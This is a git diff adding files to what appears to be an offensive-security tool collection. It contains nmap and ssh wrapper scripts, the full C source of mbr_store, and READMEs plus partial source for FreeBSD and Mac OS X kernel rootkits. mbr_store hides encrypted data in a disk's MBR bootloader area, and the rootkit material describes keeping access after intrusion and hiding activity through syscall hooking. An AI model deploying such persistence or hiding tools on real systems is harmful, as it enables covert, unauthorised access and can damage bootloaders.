b/automation/wnmap/source/docs/TESTED @@ -0,0 +1,4 @@ +===> 0.1 + * gentoo + * debian + * Nmap version 6.25 ( http://nmap.org ) diff --git a/automation/wnmap/source/docs/THANKS b/automation/wnmap/source/docs/THANKS new file mode 100644 index 0000000..7321265 --- /dev/null +++ b/automation/wnmap/source/docs/THANKS @@ -0,0 +1,2 @@ +* nullsecurity +* to my friends and my family diff --git a/automation/wnmap/source/docs/TODO b/automation/wnmap/source/docs/TODO new file mode 100644 index 0000000..08b1f23 --- /dev/null +++ b/automation/wnmap/source/docs/TODO @@ -0,0 +1,18 @@ +changelog and todo list for wnmap +================================== + +===> 0.X + * -O: output mode - !( xml/nmap export || dir creation ) ......... [] + * html/text report ............................................... [] + +===> 0.3 + * -C [user mode args] - choose chain to run (chain script) ....... [] + * Normal Nmap Behavior + xml/nmap export ........................, [] + * dynamically wnmap_args taken (no :1:1) ......................... [] + +===> 0.2 + * cp .conf files to personal dir ................................. [] + * install.sh ..................................................... [] + +===> 0.1 + * initial release ................................................ [DONE] diff --git a/automation/wnmap/source/src/core/checks.sh b/automation/wnmap/source/src/core/checks.sh new file mode 100644 index 0000000..4c13959 --- /dev/null +++ b/automation/wnmap/source/src/core/checks.sh @@ -0,0 +1,50 @@ +################################################################################ +# ____ _ __ # +# ___ __ __/ / /__ ___ ______ ______(_) /___ __ # +# / _ \/ // / / (_-/dev/null 2>&1 || + critical "Nmap required. Install it!" + + command -v "${EDITOR}" >/dev/null 2>&1 || + critical "${EDITOR} required. Install it or change EDITOR variable in src/core/globals.sh!" +} + +# check argument count +check_argc() +{ + [ "${#}" -eq "0" ] && usage && exit "${SUCCESS}" +} + + +# check if required arguments were selected +check_args() +{ + return "${SUCCESS}" +} + + +# EOF diff --git a/automation/wnmap/source/src/core/error.sh b/automation/wnmap/source/src/core/error.sh new file mode 100644 index 0000000..e9958c3 --- /dev/null +++ b/automation/wnmap/source/src/core/error.sh @@ -0,0 +1,49 @@ +################################################################################ +# ____ _ __ # +# ___ __ __/ / /__ ___ ______ ______(_) /___ __ # +# / _ \/ // / / (_- | + +TARGET SPECIFICATION: + Can pass hostname or IP address. + +OPTIONS: + SCANNING - USER MODE: +EOF + while IFS=';' read -r wnmap_arg mode_name nmap_args _;do + [[ ${wnmap_arg} = \#* ]] || [[ -z ${wnmap_arg} ]] && continue + printf " %s: '%s' scan - nmap args: %s\n" "$wnmap_arg" "$mode_name" "$nmap_args" + done < "${MODE_FILE}" + cat <> "${MODE_FILE}" + printf "[+] New mode added!\n" + exit "${SUCCESS}" + fi + +} + +# EOF diff --git a/automation/wnmap/source/src/modules/scan.sh b/automation/wnmap/source/src/modules/scan.sh new file mode 100644 index 0000000..2c034d3 --- /dev/null +++ b/automation/wnmap/source/src/modules/scan.sh @@ -0,0 +1,70 @@ +################################################################################ +# ____ _ __ # +# ___ __ __/ / /__ ___ ______ ______(_) /___ __ # +# / _ \/ // / / (_-] [] +OPTIONS: + -m : mode/id to machine + -e: edit conf file [/home/user/.wssh/wssh.conf] + -l: list modes + -S : scp to machine + -s : change file where upload or download file [default:~/] +OVERWRITE: + -u : switch user + -h : switch host + -p : switch port + -c: disable check host fingerprint [default:true] + -x : extra commands +MISC: + -V: print version of wssh and exit + -H: print this help and exit +EXAMPLE: + wssh -m b0x -x'-D1234' # socks proxy mode + wssh -m b0x -S file -d '/data/' # upload file to /data + wssh -m b0x -s file # download file from home + wssh -m b0x -p 1337 -S file # use diff port for b0x config uploading file to home + wssh b0x # no shitty args anymore - just fucking show me the shell :) + + +CONFIGURATION FILE +================== + +$ cat ~/.wssh/wssh.conf + +# id;ip;port[def:22];user;check_host_fingerprint;extra_opt +vulndev;192.168.1.40;;root;false;-Y +android;192.168.1.8;;nrz;false;-Y +debian64;localhost;2222;root;false; +vpn_www;192.168.1.56;3224;nrz;false;false;-L 8080:localhost:80 + + +EXAMPLE +======= + + $ wssh vpn +--==[ wssh by nrz@nullsecurity.net ]==-- +[+] ssh(192.168.1.56:3224) -L 8080:localhost:80 +vpn_www ~ $ + +#eof diff --git a/automation/wssh/source/wssh.sh b/automation/wssh/source/wssh.sh new file mode 100755 index 0000000..083fa62 --- /dev/null +++ b/automation/wssh/source/wssh.sh @@ -0,0 +1,315 @@ +#!/bin/bash +################################################################################ +# ____ _ __ # +# ___ __ __/ / /__ ___ ______ ______(_) /___ __ # +# / _ \/ // / / (_-] [] +OPTIONS: + -m : mode/id to machine + -e: edit conf file [${MODE_FILE}] + -l: list modes + -S : scp to machine + -s : change file where upload or download file [default:~/] +OVERWRITE: + -u : switch user + -h : switch host + -p : switch port + -c: disable check host fingerprint [default:true] + -x : extra commands +MISC: + -V: print version of wssh and exit + -H: print this help and exit +EXAMPLE: + wssh -m b0x -x'-D1234' # socks proxy mode + wssh -m b0x -S file -d '/data/' # upload file to /data + wssh -m b0x -s file # download file from home + wssh -m b0x -p 1337 -S file # use diff port for b0x config uploading file to home + wssh b0x # no shitty args anymore - just fucking show me the shell :) +EOF + exit "${SUCCESS}" +} + + +# leet banner, very important +banner() +{ + echo "--==[ wssh by nrz@nullsecurity.net ]==--" + + return "${SUCCESS}" +} + + +# check argument count +check_argc() +{ + if [ "${#}" -lt 1 ] + then + usage + fi + + return "${SUCCESS}" +} + + +# check if required arguments were selected +check_args() +{ + return "${SUCCESS}" +} + + +# parse command line options +get_opts() +{ + while getopts m:elS:s:d:u:h:p:cx:vVH flags + do + case "${flags}" in + m) + MODE=${OPTARG} + ;; + e) + vim "${MODE_FILE}" + exit "${SUCCESS}" + ;; + l) + cat "${MODE_FILE}" + exit "${SUCCESS}" + ;; + S) + SCP=true + UPLOAD="${OPTARG}" + ;; + s) + SCP=true + if [ "${OPTARG:0:1}" == "/" ]; then + DOWNLOAD=${OPTARG} + else + DOWNLOAD="~/${OPTARG}" + fi + ;; + d) + DOWN_UP_DIR=${OPTARG} + ;; + u) + OPT_USER=${OPTARG} + ;; + h) + OPT_HOST=${OPTARG} + ;; + p) + OPT_PORT=${OPTARG} + ;; + c) + OPT_CHECK=true + ;; + x) + OPT_EXTRA=${OPTARG} + ;; + v) + VERBOSE="/dev/stdout" + ;; + V) + echo "${VERSION}" + exit "${SUCCESS}" + ;; + H) + usage + ;; + *) + err "WTF?! mount /dev/brain" + ;; + esac + done + + return "${SUCCESS}" +} + +set_vars() +{ + if [ -n "${MODE}" ]; then + local mode_line=$(awk -v J=1 -v R="${MODE}" '{if (match($J, R)) print $0;}' "${MODE_FILE}") + if [ -n "${mode_line}" ]; then + IFS=';' read -r MODE HOST PORT USER CHECK EXTRA <<< "${mode_line}" + else + cri "mode not found" + fi + fi + # set vars - use config from file if not arguments or just defaults + [ -n "${OPT_USER}" ] && USER=${OPT_USER} + [ -n "${OPT_HOST}" ] && HOST=${OPT_HOST} + [ -n "${OPT_PORT}" ] && PORT=${OPT_PORT} + [ -z "${PORT}" ] && PORT=22 + [ -n "${OPT_CHECK}" ] && CHECK=false + [ -n "${OPT_EXTRA}" ] && EXTRA=${OPT_EXTRA} + + # scp + DOWNLOAD_DIR="." + UPLOAD_DIR="~/" + [ -n "${DOWN_UP_DIR}" ] && DOWNLOAD_DIR="${DOWN_UP_DIR}/" + [ -n "${DOWN_UP_DIR}" ] && UPLOAD_DIR="${DOWN_UP_DIR}/" + + return +} + +create_mode_file() +{ + mkdir -p /home/${USER}/.wssh + printf "# id;ip;port[def:22];user;check_host_fingerprint;extra_opt\n" >> ${MODE_FILE} + printf "sample;192.168.1.1;4564;nrz;false;-L 8080:localhost:80\n" >> "${MODE_FILE}" + + return +} + +# controller and program flow +main() +{ + # defaults + CHECK=true + SCP=false + + #gogogo + banner + + #check mode file + ! [ -f "${MODE_FILE}" ] && create_mode_file + + # ssh(lazy(lazy())) -> $ wssh + if [ "$#" == "1" ] && ! [ "${1:0:1}" == "-" ]; then + MODE=${1} + else + check_argc ${*} + get_opts ${*} + check_args ${*} + fi + + set_vars + + if ${SCP}; then + printf "[+] scp(%s:%s) %s\n" "${HOST}" "${PORT}" "${EXTRA}" + else + printf "[+] ssh(%s:%s) %s\n" "${HOST}" "${PORT}" "${EXTRA}" + fi + + if ${CHECK}; then + if ${SCP}; then + if [ -n "${UPLOAD}" ]; then + scp -r -P "${PORT}" ${UPLOAD} "${USER}@${HOST}:${UPLOAD_DIR}" + else + scp -r -P "${PORT}" "${USER}@${HOST}:${DOWNLOAD}" "${DOWNLOAD_DIR}" + fi + else + ssh -p "${PORT}" "${USER}@${HOST}" ${EXTRA} + fi + else + if ${SCP}; then + if [ -n "${UPLOAD}" ]; then + scp -r ${DONT_CHECK_HOST} -P "${PORT}" ${UPLOAD} "${USER}@${HOST}:${UPLOAD_DIR}" + else + scp -r ${DONT_CHECK_HOST} -P "${PORT}" "${USER}@${HOST}:${DOWNLOAD}" "${DOWNLOAD_DIR}" + fi + else + ssh ${DONT_CHECK_HOST} -p "${PORT}" "${USER}@${HOST}" ${EXTRA} + fi + fi + + return "${SUCCESS}" +} + +main ${*} + +# EOF diff --git a/backdoor/README.md b/backdoor/README.md new file mode 100644 index 0000000..e630379 --- /dev/null +++ b/backdoor/README.md @@ -0,0 +1,13 @@ +# About +Backdoors and rootkits for kernel and userland, network, hardware and software. +Once you have gone through all the hard work making sure you can get on the +system. Make sure you can always get back in. + +If you find some bugs or if you have any questions, ideas or criticism regarding +to this section, feel free to message us. + +# Disclaimer +We hereby emphasize, that the hacking related stuff on +[nullsecurity.net](http://nullsecurity.net) is only for education purposes. +We are not responsible for any damages. You are responsible for your own +actions. diff --git a/backdoor/fbkit/README.md b/backdoor/fbkit/README.md new file mode 100644 index 0000000..d383cd8 --- /dev/null +++ b/backdoor/fbkit/README.md @@ -0,0 +1,35 @@ +# Description + +A very old FreeBSD rootkit for the 1337 h4x0rs out there. This was my first +attempt to code in FreeBSD kernel land. So bear with me. :) +This version should work for at least for FreeBSD 7 and 8. + +# Usage + +``` +Blah read code. +``` + +# Installation + +Run `install.sh`. + +# Author + +noptrix + +# Notes + +- quick'n'dirty code +- My master-branches are always dev-branches; use releases for stable versions. +- All of my public stuff you find are officially announced and published via [nullsecurity.net](https://www.nullsecurity.net). + +# License + +Check docs/LICENSE. + +# Disclaimer +We hereby emphasize, that the hacking related stuff found on +[nullsecurity.net](http://nullsecurity.net/) are only for education purposes. +We are not responsible for any damages. You are responsible for your own +actions. diff --git a/backdoor/fbkit/release/fbkit-0.0.1.tar.gz b/backdoor/fbkit/release/fbkit-0.0.1.tar.gz new file mode 100644 index 0000000..f0cbd5f Binary files /dev/null and b/backdoor/fbkit/release/fbkit-0.0.1.tar.gz differ diff --git a/backdoor/mbr_store/README.md b/backdoor/mbr_store/README.md new file mode 100644 index 0000000..aee48b0 --- /dev/null +++ b/backdoor/mbr_store/README.md @@ -0,0 +1,14 @@ +# Description +This tool stores up to 426 bytes in the MBR's bootloader code section of unused +devices such as usb drivers, hrd disks (which are not supposed to boot) and +other media. GRUB detection is implemented for safety reasons, Windows +bootloader code will be shamelessly overwritten. ;) + +# Author +atzeton + +# Disclaimer +We hereby emphasize, that the hacking related stuff on +[nullsecurity.net](http://nullsecurity.net) is only for education purposes. +We are not responsible for any damages. You are responsible for your own +actions. diff --git a/backdoor/mbr_store/release/mbr_store-1.0.tar.gz b/backdoor/mbr_store/release/mbr_store-1.0.tar.gz new file mode 100644 index 0000000..397eb85 Binary files /dev/null and b/backdoor/mbr_store/release/mbr_store-1.0.tar.gz differ diff --git a/backdoor/mbr_store/source/Makefile b/backdoor/mbr_store/source/Makefile new file mode 100755 index 0000000..8330091 --- /dev/null +++ b/backdoor/mbr_store/source/Makefile @@ -0,0 +1,17 @@ +# mbr_store Makefile + +MANDIR = /usr/share/man/man1/ + +all: + make -C src/ + +install: + install -m 0755 bin/mbr_store /usr/bin/ + install -m 0644 mbr_store.1.gz $(MANDIR)/ + +uninstall: + rm -f /usr/bin/mbr_store + rm -f $(MANDIR)mbr_store.1.gz + +clean: + rm -f bin/mbr_store diff --git a/backdoor/mbr_store/source/README b/backdoor/mbr_store/source/README new file mode 100755 index 0000000..d6e950d --- /dev/null +++ b/backdoor/mbr_store/source/README @@ -0,0 +1,27 @@ +mbr_store README + +NAME + mbr_store + +INSTALLATION + make + sudo make install + make clean + +FIRST STEPS + Get yourself a copy of your own MBR with + dd if=/dev/sdx of=my_mbr.img count=1 + or use one of the provided samples in doc/. + Read, store and check your results with your favorite hex editor (e.g. ghex2). + Be careful to not demage your bootloader! + Run fdisk -l or dmesg to determine the correct device ;) + +AUTHOR + atzeton + nullsecurity.net + +LICENSE + GNU GPLv2+ + +BUGS + If you find any bugs, feel free to drop me a line! diff --git a/backdoor/mbr_store/source/bin/mbr_store b/backdoor/mbr_store/source/bin/mbr_store new file mode 100755 index 0000000..41c8ed7 Binary files /dev/null and b/backdoor/mbr_store/source/bin/mbr_store differ diff --git a/backdoor/mbr_store/source/doc/mbr_grub.img b/backdoor/mbr_store/source/doc/mbr_grub.img new file mode 100755 index 0000000..6bbf6ef Binary files /dev/null and b/backdoor/mbr_store/source/doc/mbr_grub.img differ diff --git a/backdoor/mbr_store/source/doc/mbr_win.img b/backdoor/mbr_store/source/doc/mbr_win.img new file mode 100755 index 0000000..d706716 Binary files /dev/null and b/backdoor/mbr_store/source/doc/mbr_win.img differ diff --git a/backdoor/mbr_store/source/include/mbr_store.h b/backdoor/mbr_store/source/include/mbr_store.h new file mode 100755 index 0000000..cac7467 --- /dev/null +++ b/backdoor/mbr_store/source/include/mbr_store.h @@ -0,0 +1,81 @@ +/* + * mbr_store.h + * + * Copyright 2012 atzeton + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + * MA 02110-1301, USA. + * + * + */ + +#ifndef HDR_MBR_STORE +#define HDR_MBR_STORE + +#include + +#define VERSION "1.0" + +#define __EXIT_SUCCESS exit(EXIT_SUCCESS) +#define __EXIT_FAILURE exit(EXIT_FAILURE) + +#define __STORE (mode == MODE_STORE) +#define __READ (mode == MODE_READ) + +#define __ENCRYPTED encrypted + +#define __RAND (uint8_t) rand() % 255 + +#define CRC32POLY (0x04C11DB7) + +#define GRUB_INDICATION "GRUB" + +#define DATA_SIZE (428) +#define BLOCK_SIZE (432) +#define MBR_SIZE (512) + +#define MODE_STORE ( 1) +#define MODE_READ ( 2) + + +uint8_t mode; +char *device; +char *password; +int8_t encrypted; +uint8_t key[SHA256_DIGEST_SIZE]; + + +/* MBR structure */ +typedef struct mbr_struct { + uint8_t data[440]; + uint32_t disk_sig; + uint16_t nulls; + uint8_t ptable[64]; + uint16_t signature; +} __attribute__ ((packed)) mbr_struct; + + +/* data storage structure */ +typedef struct data_header { + uint16_t len; + uint32_t crc; + uint8_t data[DATA_SIZE]; + uint8_t payload[8]; +} __attribute__ ((packed)) data_header; + + +int main(int argc, char **argv); + +#endif diff --git a/backdoor/mbr_store/source/include/optget.h b/backdoor/mbr_store/source/include/optget.h new file mode 100755 index 0000000..44e9251 --- /dev/null +++ b/backdoor/mbr_store/source/include/optget.h @@ -0,0 +1,31 @@ +/* + * optget.h + * + * Copyright 2012 atzeton + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + * MA 02110-1301, USA. + * + * + */ + +#ifndef HDR_OPTGET +#define HDR_OPTGET + +void optget(int argc, char** argv); +void optcheck(); +void usage(); + +#endif diff --git a/backdoor/mbr_store/source/mbr_store.1.gz b/backdoor/mbr_store/source/mbr_store.1.gz new file mode 100755 index 0000000..f2addff Binary files /dev/null and b/backdoor/mbr_store/source/mbr_store.1.gz differ diff --git a/backdoor/mbr_store/source/src/Makefile b/backdoor/mbr_store/source/src/Makefile new file mode 100755 index 0000000..46c94e1 --- /dev/null +++ b/backdoor/mbr_store/source/src/Makefile @@ -0,0 +1,14 @@ +# mbr_store src/ Makefile + +BINDIR = ../bin/ +INCLUDES = -I../include +CFLAGS = -O2 -std=c99 -Wall -Wextra -pedantic +LINKFLAGS = -lnettle + +all: mbr_store + +mbr_store: mbr_store.c optget.c + $(CC) *.c -o $(BINDIR)mbr_store $(CFLAGS) $(LINKFLAGS) $(INCLUDES) + +clean: + rm -f mbr_store diff --git a/backdoor/mbr_store/source/src/mbr_store.c b/backdoor/mbr_store/source/src/mbr_store.c new file mode 100755 index 0000000..7f0225b --- /dev/null +++ b/backdoor/mbr_store/source/src/mbr_store.c @@ -0,0 +1,408 @@ +/* + * mbr_store.c + * + * Copyright 2012 atzeton + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + * MA 02110-1301, USA. + * + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include "mbr_store.h" +#include "optget.h" + + +/* encrypt via hashed key */ +void +enlarge_key(char *pw) +{ + struct sha256_ctx ctx; + + uint8_t digest[SHA256_DIGEST_SIZE]; + + sha256_init(&ctx); + sha256_update(&ctx, strlen(pw) , (uint8_t *)pw); + sha256_digest(&ctx, SHA256_DIGEST_SIZE, digest); + + memcpy(key, digest, SHA256_DIGEST_SIZE); + + return; +} + + +/* crc32 checksum, for interal data integrity check */ +uint32_t +crc32(uint8_t *data, uint16_t len) +{ + uint32_t crc32 = 0; + uint16_t i = 0; + + for (i = 0; i < len; i++) + { + if (((crc32 & 0x80000000) ? 1 : 0) != data[i]) + { + crc32 = (crc32 << 1) ^ CRC32POLY; + } + else + { + crc32 <<= 1; + } + } + + return( crc32 ); +} + + +void +encrypt(uint8_t *data, uint16_t len) +{ + uint8_t *aes1 = calloc(1, len); + uint8_t *serp2 = calloc(1, len); + uint8_t *two3 = calloc(1, len); + + struct aes_ctx *ctx_aes = calloc(1, sizeof(struct aes_ctx )); + struct serpent_ctx *ctx_sp = calloc(1, sizeof(struct serpent_ctx)); + struct twofish_ctx *ctx_tf = calloc(1, sizeof(struct twofish_ctx)); + + aes_set_encrypt_key(ctx_aes, sizeof(key), key); + serpent_set_key (ctx_sp, sizeof(key), key); + twofish_set_key (ctx_tf, sizeof(key), key); + + aes_encrypt (ctx_aes, len, aes1, data); + serpent_encrypt(ctx_sp, len, serp2, aes1); + twofish_encrypt(ctx_tf, len, two3, serp2); + + memcpy(data, two3, len); + + free(aes1); + free(serp2); + free(two3); + + free(ctx_tf); + free(ctx_sp); + free(ctx_aes); + + return; +} + + +void +decrypt(uint8_t *data, uint16_t len) +{ + uint8_t *two1 = calloc(1, len); + uint8_t *serp2 = calloc(1, len); + uint8_t *aes3 = calloc(1, len); + + struct twofish_ctx *ctx_tf = calloc(1, sizeof(struct twofish_ctx)); + struct serpent_ctx *ctx_sp = calloc(1, sizeof(struct serpent_ctx)); + struct aes_ctx *ctx_aes = calloc(1, sizeof(struct aes_ctx)); + + twofish_set_key (ctx_tf, sizeof(key), key); + serpent_set_key (ctx_sp, sizeof(key), key); + aes_set_decrypt_key(ctx_aes, sizeof(key), key); + + twofish_decrypt(ctx_tf, len , two1 , data); + serpent_decrypt(ctx_sp, len , serp2 , two1); + aes_decrypt (ctx_aes, len , aes3 , serp2); + + memcpy(data, aes3, len); + + free(two1); + free(serp2); + free(aes3); + + free(ctx_tf); + free(ctx_sp); + free(ctx_aes); + + return; +} + + +void +data_print(uint8_t *data) +{ + data_header *dh = (data_header *) data; + uint16_t len = ntohs(dh->len); + uint16_t i = 0; + + printf(" len: %d bytes\n",len); + + if( len > DATA_SIZE) + { + fprintf(stderr, "error: data len too big\n"); + __EXIT_FAILURE; + } + + if( ntohl(dh->crc) != crc32(dh->data, DATA_SIZE) ) + { + fprintf(stderr, "warning: CRC32 invalid\n"); + } + else + { + printf(" crc32: valid 0x%x\n", ntohl(dh->crc) ); + } + + + printf("\n -- DATA ----------------------------------------\n"); + + for(i=0; i< len; i++) { + printf("%c",dh->data[i]); + } + + printf("\n ------------------------------------------------\n"); + + return; +} + + +void +user_readin(uint8_t *data) +{ + data_header *dh = (data_header *) data; + char *f = calloc(1, DATA_SIZE); + uint16_t len = 0; + int i = 0; + + printf("please enter your data [426 bytes]: "); + + if( fgets(f, DATA_SIZE, stdin) == NULL) + { + fprintf(stderr, "error: fgets failed\n"); + __EXIT_FAILURE; + } + + len = strlen(f); + len--; + dh->len = htons(len); + + printf("> saved len: %d\n",len); + + memcpy(dh->data, f, len); + + for( i=len; i< DATA_SIZE; i++) { + memset(&dh->data[i], __RAND , 1); + } + + dh->crc = htonl( crc32(dh->data, DATA_SIZE) ); + + for( i=0; i< 8; i++) { + memset(&dh->payload[i], __RAND , 1); + } + + return; +} + + +void +mbr_store(int fd, uint8_t *mbr) +{ + if( lseek(fd, 0, SEEK_SET) != 0 ) + { + fprintf(stderr, "error: lseek failed\n"); + __EXIT_FAILURE; + } + + if( write(fd, mbr, MBR_SIZE) != MBR_SIZE) + { + fprintf(stderr, "error: writing to device file failed\n"); + __EXIT_FAILURE; + } + + return; +} + + +void +mbr_read(int fd, uint8_t *buf) +{ + if( read(fd, buf, MBR_SIZE) != MBR_SIZE) + { + fprintf(stderr, "error: reading from device file failed\n"); + __EXIT_FAILURE; + } + + return; +} + + +/* check the MBR's 0x55aa signature */ +void +mbr_check_signature(mbr_struct *mbr) +{ + if( !( ntohs(mbr->signature) == 0x55aa) ) + { + fprintf(stderr, "error: MBR structure not valid (reading signature 0x55aa failed)\n"); + __EXIT_FAILURE; + } + + printf(" signature: valid\n"); + + return; +} + + +/* check the nullz */ +void +mbr_check_nulls(mbr_struct *mbr) +{ + if( !(mbr->nulls == 0x0000) ) + { + fprintf(stderr, "error: MBR structure not valid (reading nulls failed)\n"); + __EXIT_FAILURE; + } + + return; +} + + +/* search GRUB pattern in bootloader code */ +void +mbr_check_grub(uint8_t *data) +{ + uint16_t i = 0; + + for(i=0; i< 436; i++) { + if( data[i] == 'G' && data[i+1] == 'R' && data[i+2] == 'U' && data[i+3] == 'B') + { + fprintf(stderr, "warning: mbr data contains GRUB\n"); + } + } + + return; +} + + +int +device_open(const char *dev) +{ + int fd = open(dev , O_RDWR); + + if( fd < 0 ) + { + fprintf(stderr, "error: opening device file failed\n"); + __EXIT_FAILURE; + } + + return(fd); +} + + +void +print_banner() +{ + printf( + " _ _ \n" + " _____| |_ ___ ___| |_ ___ ___ ___ \n" + " | | . | _| |_ -| _| . | _| -_|\n" + " |_|_|_|___|_| |___|_| |___|_| |___|\n" + " atzeton |\n" + " nullsecurity.net |\n" + " use it at your own risk |\n" + " version %3s |\n" + "\n", VERSION); + + return; +} + +int main(int argc, char **argv) +{ + uint8_t *buf = calloc(1, MBR_SIZE); + mbr_struct *mbr = (mbr_struct *) buf; + int fd = 0; + + srand ( time(NULL) ); + + optget(argc, argv); + optcheck(); + print_banner(); + + fd = device_open(device); + + if( __ENCRYPTED ) + { + printf("> encryption enabled: aes(serpent(twofish()))\n"); + printf("> using hashed password: sha256(password)\n"); + enlarge_key(password); + } + else + { + printf("> encryption disabled. Data is stored in plaintext!\n"); + } + + printf("> reading device\n"); + + mbr_read(fd, buf); + + printf("> checking for present GRUB on device\n"); + mbr_check_grub(mbr->data); + + mbr_check_signature(mbr); + mbr_check_nulls(mbr); + + printf(" nulls: valid\n"); + printf(" ms_disk_id: %04x\n",mbr->disk_sig); + + + if( __READ ) + { + if( __ENCRYPTED ) + { + decrypt(mbr->data, 432); + } + + data_print(mbr->data); + } + else if ( __STORE ) + { + user_readin(mbr->data); + + if( __ENCRYPTED ) + { + encrypt(mbr->data, 432); + } + + mbr_store(fd, buf); + + } + else { + fprintf(stderr, "error: nothing to do xD\n"); + } + + mbr = NULL; + free(buf); + close(fd); + + + return 0; +} + diff --git a/backdoor/mbr_store/source/src/optget.c b/backdoor/mbr_store/source/src/optget.c new file mode 100755 index 0000000..2d5d833 --- /dev/null +++ b/backdoor/mbr_store/source/src/optget.c @@ -0,0 +1,125 @@ +/* + * optget.c + * + * Copyright 2012 atzeton + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + * MA 02110-1301, USA. + * + * + */ + +#include +#include +#include +#include +#include +#include + +#include "optget.h" +#include "mbr_store.h" + + +void +optget(int argc, char** argv) +{ + int32_t index = -1; + int32_t result = 0; + struct option *opt = NULL; + + static const struct option long_options[] = { + { "help", no_argument, 0, 0 }, + { "read", no_argument, 0, 0 }, + { "store", no_argument, 0, 0 }, + { "password", required_argument, 0, 0 }, + { "device", required_argument, 0, 0 }, + {0,0,0,0} + }; + + while (optind < argc) { + result = getopt_long(argc, argv, "", long_options, &index); + if (result != 0) { + fprintf(stderr,"getopt failed\n"); + __EXIT_FAILURE; + } + else if( result == 0) { + opt = (struct option *)&(long_options[index]); + + if( strcmp(opt->name,"help") == 0) { + usage(); + __EXIT_SUCCESS; + } + if( strcmp(opt->name,"read") == 0) { + mode = MODE_READ; + } + if( strcmp(opt->name,"store") == 0) { + mode = MODE_STORE; + } + else if( strcmp(opt->name,"password") == 0 ) { + if( opt->has_arg == required_argument ) { + encrypted = 1; + password = optarg; + } + } + else if( strcmp(opt->name,"device") == 0 ) { + if( opt->has_arg == required_argument ) { + device = optarg; + } + } + + } + } + + return; +} + + +void +optcheck() +{ + if (!device) + { + fprintf(stderr,"error: no device or file given\n"); + __EXIT_FAILURE; + } + + if( !password) + { + encrypted = 0; + } + + return; +} + + +void +usage() +{ + printf("usage:\n" + "./mbr_store [--store|--read|--help] [--password=] [--device=]\n\n" + "--help\n" + "\tshow help\n" + "--store\n" + "\tsave data in the MBR's bootloader code section\n" + "--read\n" + "\tread data, watch out to to give the correct password if required\n" + "--password=\n" + "\tenable aes(serpent(twofish())) encryption using 's sha256 hash\n" + "--device=\n" + "\tspecify the device (e.g. /dev/sdd) or file (e.g. mbr_image)\n\n" + "> for more detailed information take a look at the man file\n"); + + return; +} diff --git a/backdoor/rubilyn/README.md b/backdoor/rubilyn/README.md new file mode 100644 index 0000000..689396f --- /dev/null +++ b/backdoor/rubilyn/README.md @@ -0,0 +1,15 @@ +# Description +64bit Mac OS-X kernel rootkit that uses no hardcoded address to hook the BSD +subsystem in all OS-X Lion & below. It uses a combination of syscall hooking and +DKOM to hide activity on a host. String resolution of symbols no longer works on +Mountain Lion as symtab is destroyed during load, this code is portable on all +Lion & below but requires re-working for hooking under Mountain Lion. + +# Author +prdelka + +# Disclaimer +We hereby emphasize, that the hacking related stuff on +[nullsecurity.net](http://nullsecurity.net) is only for education purposes. +We are not responsible for any damages. You are responsible for your own +actions. diff --git a/backdoor/rubilyn/release/rubilyn-0.0.1.tar.gz b/backdoor/rubilyn/release/rubilyn-0.0.1.tar.gz new file mode 100644 index 0000000..5040285 Binary files /dev/null and b/backdoor/rubilyn/release/rubilyn-0.0.1.tar.gz differ diff --git a/backdoor/rubilyn/source/internals.h b/backdoor/rubilyn/source/internals.h new file mode 100755 index 0000000..785d5da --- /dev/null +++ b/backdoor/rubilyn/source/internals.h @@ -0,0 +1,434 @@ +/* + + internals.h + rubilyn + +*/ + +#ifndef rubilyn_internals_h +#define rubilyn_internals_h + +/* includes */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "/Applications/Xcode.app//Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.7.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/sys/syscall.h" + +/* PAD() Macros */ +#define PAD_(t) (sizeof(uint64_t) <= sizeof(t) ? 0 : sizeof(uint64_t) - sizeof(t)) +#if BYTE_ORDER == LITTLE_ENDIAN +#define PADL_(t) 0 +#define PADR_(t) PAD_(t) +#else +#define PADL_(t) PAD_(t) +#define PADR_(t) 0 +#endif + +/* kernel internals API definitions */ +typedef kauth_cred_t (*kauth_cred_setuidgidp)(kauth_cred_t, int, int); +typedef int (*lck_mtx_lockp) (lck_mtx_t*); +typedef int (*lck_mtx_unlockp) (lck_mtx_t*); +typedef int (*KUNCExecutep) (char *, int, int); +typedef void (*proc_list_lockp)(void); +typedef void (*proc_list_unlockp)(void); + +/* kernel internal symbols */ +uint64_t* nsysent; +lck_mtx_lockp my_lck_mtx_lock; +kauth_cred_setuidgidp my_kauth_cred_setuidgid; +lck_mtx_unlockp my_lck_mtx_unlock; 